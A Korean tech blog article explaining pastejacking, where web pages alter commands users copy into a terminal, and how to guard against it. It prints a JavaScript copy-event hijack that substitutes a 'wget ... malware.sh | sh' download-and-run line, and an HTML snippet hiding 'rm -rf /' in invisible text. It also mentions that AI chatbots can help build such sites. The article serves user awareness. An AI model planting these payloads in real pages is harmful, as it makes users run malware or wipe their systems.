컴퓨터와 스마트폰 등 다양한 디지털 기기에서 복사-붙여넣기가 보편화되면서 현대 사회에서 복사-붙여넣기는 보편적인 현상이 되었습니다. 이러한 편리함은 보다 효율적인 작업과 중복 입력 감소를 가능하게 하여 일상 업무를 신속하게 처리할 수 있게 해줍니다. 하지만 이 기능을 사용할 때, 특히 컴퓨터의 명령줄 인터페이스 내에서 명령을 복사하여 붙여넣는 경우 의도치 않게 잠재적인 보안 취약성에 노출될 수 있으므로 주의해야 합니다.

디지털 환경에서 복사-붙여넣기 활용과 관련된 잠재적 위험을 살펴보고 이러한 취약점으로부터 보호할 수 있는 실질적인 전략을 알아보세요.

명령어 복사-붙여넣기를 사용하면 안 되는 이유

명령줄 인터페이스 활용에 대한 숙련도와 관계없이 온라인 소스에서 얻은 명령어를 복사하여 붙여넣음으로써 효율성을 추구하는 것은 드문 일이 아닙니다. 이러한 관행은 작업을 신속하게 처리할 수 있지만, 악의적인 웹사이트는 명령 상자에 유해한 코드를 삽입하여 이러한 명령을 터미널에 직접 입력할 때 시스템을 감염시키는 등의 수법을 사용하는 것으로 알려져 있으므로 사용자는 이를 염두에 두어야 합니다.

악의적인 개인은 무해해 보이는 코드 속에 유해한 지침을 숨기려는 의도로 사용자 인터페이스 계층에서 다양한 기만적 기법을 사용합니다.

앞서 언급한 명령은 일반적으로 “sudo apt-get update && apt-get upgrade”로 실행되며, Linux 운영 체제 내에서 패키지 목록을 새로 고치고 소프트웨어 버전을 향상시키기 위해 설계되었습니다. 안타깝게도 알 수 없는 출처에서 이 명령을 실수로 복사하여 붙여넣으면 “sudo” 접두사가 있기 때문에 무의식적으로 유해한 악성 코드에 대한 관리자 액세스 권한을 부여할 수 있습니다.

가장 불리한 조건에서 이러한 발생은 인프라의 포괄적 인 압류 또는 랜섬웨어 배포를 통한 강탈 행위로 이어질 수 있습니다. 하지만 악의적인 개인이 이러한 행동을 실행하는 수단은 무엇일까요? 무해해 보이는 프로그래밍 코드에 어떤 방식으로 악의적인 지침을 숨길 수 있을까요?

악성 코드 익스플로잇의 작동 방식

지능형 공격자는 종종 정교한 JavaScript 코드나 초보적인 HTML을 사용하여 이 수법을 실행합니다. 자바스크립트 언어에는 버튼 클릭, 양식 작성, 커서 이동, 키 입력, 화면 크기 조정과 같은 사용자 상호 작용을 포함하여 웹 브라우저 내에서 발생하는 다양한 상황을 모니터링하고 이에 대응하도록 설계된 “이벤트 리스너”라는 이벤트 처리 시스템이 있습니다.

이 글도 확인해 보세요:  AI 개발이 너무 빠르게 진행되고 있어 일시 중지해야 하는 5가지 징후

이벤트 리스너는 웹 애플리케이션이 사용자 상호 작용에 의해 시작된 특정 이벤트에 응답할 수 있도록 하는 필수 도구 역할을 합니다. 안타깝게도 악의적인 웹사이트는 사용자가 콘텐츠를 복사하는 행위를 가로채서 유해한 코드로 대체함으로써 이 기능의 이점을 악용하고 있습니다.

데모 이미지 제작에 사용된 주요 코드에는 아래에 설명된 바와 같이 일련의 복잡한 조작이 포함됩니다:

 <script>
document.addEventListener('copy', function(event) {
  event.preventDefault();
  const copiedText = "wget http://localhost:8000/malware.sh | sh";
  event.clipboardData.setData('text/plain', copiedText);
});
</script>

자바스크립트 프로그래밍이 필요 없는 순수 HTML 기반 데모의 우아함을 경험해 보세요.

 <p>
sudo apt-get install google-chrome-stable
<span style="color:white;font-size:0pt;">rm -rf /</span>

</p>

눈에 잘 띄지 않는 흰색 글꼴을 사용하여 유해한 명령어 “rm -rf /”를 숨기고,
HTML 태그를 사용하면 줄 바꿈이 용이하여 특정 단말기에서 삽입 시 자동으로 콘텐츠를 실행할 수 있도록 합니다. 일반적인 믿음과는 달리, 이러한 공격을 성공적으로 구현하기 위해 프로그래밍이나 웹 디자인에 대한 광범위한 숙련도가 필요하지 않습니다.

자바스크립트 및 웹 개발과 같은 프로그래밍 언어에 대한 깊은 이해가 필요하지만, 이러한 분야에 대한 기본 지식이 없는 사람이라도 신중하게 만들어진 쿼리를 통해 취약점을 악용하여 유해한 소프트웨어를 만드는 데 ChatGPT를 활용할 수 있습니다. 이로 인해 사용자의 기기에서 승인되지 않은 작업을 효과적으로 실행하는 악성 웹 사이트가 생성될 수 있습니다.

자신을 보호하는 방법

악성 코드 공격으로부터 자신을 보호할 수 있는 완벽한 방법은 없지만, 의심스러운 것으로 간주되는 웹사이트에 대한 액세스를 제한하고 JavaScript를 활성화하지 않으면 사용을 허용하지 않음으로써 위험을 완화하는 조치를 취할 수 있습니다. 그러나 이러한 사이트가 이 프로그래밍 언어 기능이 없을 경우 최적으로 작동하지 않거나 전혀 작동하지 않을 수 있다는 점을 고려할 필요가 있습니다.

또한, 캐스케이딩 스타일 시트를 사용하면 기술적으로 합법적인 CSS 코드이기 때문에 악의적인 지침으로부터 보호하는 데 어려움이 있습니다. 그러나 보안을 유지하기 위해서는 기본적인 온라인 관행에 대한 경계와 준수가 여전히 필수적입니다.

이 글도 확인해 보세요:  내부에서 REST API 호출을 수행하는 방법 VS 코드

웹 기반 리소스를 명령에 활용할 때는 익숙하지 않거나 의심스러운 링크를 피하는 등 주의를 기울이는 것이 좋습니다. 잠재적인 보안 위험을 완화하기 위해 사용자는 명령줄 환경에서 실행하기 전에 텍스트 편집 애플리케이션에서 철저한 검토를 통해 온라인 소스에서 얻은 코드의 진위 여부를 확인하는 것이 좋습니다. 신뢰할 수 있고 확립된 코드 저장소를 준수하면 무의식적으로 유해한 코드가 시스템에 유입되는 것을 방지할 수 있습니다.

또한 xfce4-terminal과 같은 특정 터미널 에뮬레이터에는 명령의 무단 복사 및 붙여넣기를 방지하는 조치가 내장되어 있습니다. 터미널에서 명령을 붙여넣으려고 시도하면 사용자에게 특정 작업을 알리는 알림이 표시됩니다. 터미널 에뮬레이터에서 이 보안 기능이 활성화되어 있는지 확인하려면 해당 기능이 사용 가능한지 확인하고 적절히 활성화하세요.

악성 코드 실행은 매우 위험합니다

바이러스 백신 프로그램이 설치되어 있음에도 불구하고 다양한 수단을 통해 악성 코드가 디바이스에 침투하는 경우가 있습니다. 따라서 사용자는 인터넷에서 코드를 다운로드하거나 복사할 때 주의를 기울이고 잠재적인 위협으로부터 기기를 보호하기 위해 추가적인 예방 조치를 취해야 합니다.

By 이지원

상상력이 풍부한 웹 디자이너이자 안드로이드 앱 마니아인 이지원님은 예술적 감각과 기술적 노하우가 독특하게 조화를 이루고 있습니다. 모바일 기술의 방대한 잠재력을 끊임없이 탐구하고, 최적화된 사용자 중심 경험을 제공하기 위해 최선을 다하고 있습니다. 창의적인 비전과 뛰어난 디자인 역량을 바탕으로 All Things N의 잠재 독자가 공감할 수 있는 매력적인 콘텐츠를 제작합니다.